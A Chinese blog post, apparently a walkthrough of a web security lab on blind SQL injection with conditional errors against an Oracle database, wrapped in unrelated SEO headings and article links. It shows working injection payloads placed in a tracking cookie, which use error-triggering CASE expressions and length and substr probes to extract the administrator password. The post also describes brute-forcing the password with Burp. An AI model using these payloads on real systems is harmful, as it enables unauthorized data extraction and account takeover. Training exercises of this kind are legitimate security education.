当前位置: 首页 > news >正文

一般建设网站大概需要多少钱一流的聊城做网站费用

一般建设网站大概需要多少钱,一流的聊城做网站费用,自建平台,新郑网站建设文章目录 前言:进入实验室构造 payload 前言: 实验室标题为: 利用条件错误进行 SQL 盲注 等级:执业者 简介: 本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 c…

文章目录

  • 前言:
  • 进入实验室
  • 构造 payload

前言:

实验室标题为:

利用条件错误进行 SQL 盲注

等级:执业者

简介:

本实验室包含一个盲 SQL 注入漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含已提交 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,应用程序也不会根据查询是否返回任何记录做出任何不同的响应。如果 SQL 查询导致错误,应用程序会返回一条自定义错误消息。

数据库包含一个名为users的不同表,其中有名为username和password的列。您需要利用 SQL 盲注漏洞找出管理员用户的密码。

要解决实验问题,请以管理员用户身份登录。

提示:本实验室使用的是 Oracle 数据库

进入实验室

可以看到,依旧是一个商店页面

构造 payload

和上一关一样,依旧是借助插件 EditThisCookie

输入单引号,刷新页面

页面显示报错,500 服务器内部错误

输入单引号+注释符,刷新页面

页面显示正常,报错消失

构造子查询,通过子查询判断报错是 SQL 语法报错,而不是其它类型的报错

'||(select '' from dual)||'

页面显示正常

继续构建一个无效的子查询

'||(select '' from aaaa)||'

页面报错

可以确认,后端将注入语句当作 SQL 查询处理

只要确保注入语法有效的 SQL 查询,就可以通告报错来推断数据库的关键信息

验证是否存在 users 表

' ||(select '' from users where rownum=1)||'

页面返回正常,表示存在 users 表

根据实验室提供的 SQL 注入小抄

SELECT CASE WHEN (your-condition-here) THEN TO_CHAR(1/0)  -- 条件成立时执行ELSE NULL          -- 条件不成立时返回NULLEND 
FROM DUAL;

修改 payload 为:

'||(select case when (1=1) then to_char(1/0) else '' end from dual)||'

刷新页面,显示报错信息

将 SQL 语句中的判断条件 1=1 改为 1=2

'||(select case when (1=2) then to_char(1/0) else '' end from dual)||'

页面返回正常

因此可以通过设置 SQL 语句中的条件为 1=1 ,使页面报错来推断数据库的关键信息

查询用户名 administrator 是否存在

'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||'

页面报错,说明存在administrator 用户

继续判断管理员用户密码的字符数

'||(select case when length(password)>1 then to_char(1/0) else '' end from users where username='administrator')||'

通过页面报错来判断密码字符数,当页面不再显示报错时,密码的长度也就确定了

通过判断密码字符为 20 位

接着推断密码的具体值

'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'

通过 burp 来爆破数据

在 SQL 语句中,条件为真时,页面显示 500 报错,因此可以通告 HTTP 状态码来判断

根据爆破结果,得到密码的具体值

ynhpdsfe6fkf9tdbd5nj

登录 administrator 账户,成功通关

http://www.dtcms.com/a/519921.html

相关文章:

  • 福永网站设计二级建造师最好的网站
  • 2025第二届中国物流枢纽发展大会影响力如何,给行业带来哪些新方向?
  • 高端制作网站公司seo优化在哪里学
  • 预警!流感季可能将提前!盈电智控物联网技术如何构筑智慧防疫新防线
  • Oracle OCP考试报名常见问题详解
  • 2025企业级智能体平台架构拆解: 如何安全合规下构筑强大的护城河
  • Linux小课堂: SSH 免密登录原理与实现之基于公钥认证的安全连接机制
  • 网站开发公司广告文案网站在哪里
  • 那些免费网站可以做国外贸易网站后期维护工作包括哪些
  • SD卡格式化及挂载
  • 踩坑记录:Redis 连接报错 “Failed to get reply: connection reset“ 之端口冲突问题
  • 《3D手游攻坚日志:从副本扩缩容到数据同步的实践》
  • 软考软件设计师 vs. 考研408:定位、范围与备考策略全解析
  • GEO 指标体系构建:品牌提及度的监测技巧
  • JavaWeb后端-Web基础-分层解耦
  • 基于Chrome140的FB账号自动化(关键词浏览)——运行脚本(三)
  • 如何在百度做自己公司的网站c 网站建设设计报告
  • 00910网络经济与企业管理真题题库
  • Transformer:从自注意力到大模型时代的核心基石
  • 数据结构(7)
  • Python数据分析实战:利用CDC 28年流感数据监测,构建疫情预警系统【数据集可下载】
  • LangChain最详细教程之Model I/O(一)
  • conda 管理 python 版本和虚拟环境
  • conda创建在指定目录创建项目
  • Qt 编译报错:-1: error: fatal error: Killed signal terminated program cc1plus
  • wpf之颜色选择控件的使用
  • iOS 混淆实战清单:多工具组合完成 IPA 混淆、加固与交付治理(IPA加固 iOS混淆 无源码加固 Ipa Guard Swift Shield)
  • 「IOS苹果游戏」600个
  • 怎么看一个网站的cmsWordpress 主题 修改 版
  • 云平台+自助教室:利用微服务架构实现高效资源调度